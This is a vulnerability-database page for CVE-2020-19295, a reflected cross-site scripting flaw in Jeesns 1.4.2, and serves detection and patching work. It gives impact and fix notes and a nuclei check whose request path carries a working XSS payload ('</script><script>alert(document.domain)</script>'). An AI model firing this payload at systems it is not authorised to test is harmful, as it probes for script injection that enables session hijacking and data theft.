Browse / CVEs / CVE-2020-19295
CVE-2020-19295· jeesns / jeesns· CWE-79
Jeesns 1.4.2 - Cross-Site Scripting
Jeesns 1.4.2 is vulnerable to reflected cross-site scripting in the /weibo/topic component and allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
Fix
Upgrade Jeesns to the latest version or apply the vendor-provided patch to fix the XSS vulnerability.
How to confirm it
Send: GET {{BaseURL}}/weibo/topic/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" and "JEESNS" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2020-19295 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-19295
info:
name: Jeesns 1.4.2 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: Jeesns 1.4.2 is vulnerable to reflected cross-site scripting in the /weibo/topic component and allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade Jeesns to the latest version or apply the vendor-provided patch to fix the XSS vulnerability.
reference:
- https://github.com/zchuanzhao/jeesns/issues/21
- https://www.seebug.org/vuldb/ssvid-97950
- https://nvd.nist.gov/vuln/detail/CVE-2020-19295
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-19295
cwe-id: CWE-79
epss-score: 0.03509
epss-percentile: 0.89293
cpe: cpe:2.3:a:jeesns:jeesns:1.4.2:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: jeesns
product: jeesns
fofa-query:
- title="Jeesns"
- title="jeesns"
tags: cve,cve2020,jeesns,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/weibo/topic/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- 'JEESNS'
condition: and
case-insensitive: true
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://github.com/zchuanzhao/jeesns/issues/21
- https://www.seebug.org/vuldb/ssvid-97950
- https://nvd.nist.gov/vuln/detail/CVE-2020-19295
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from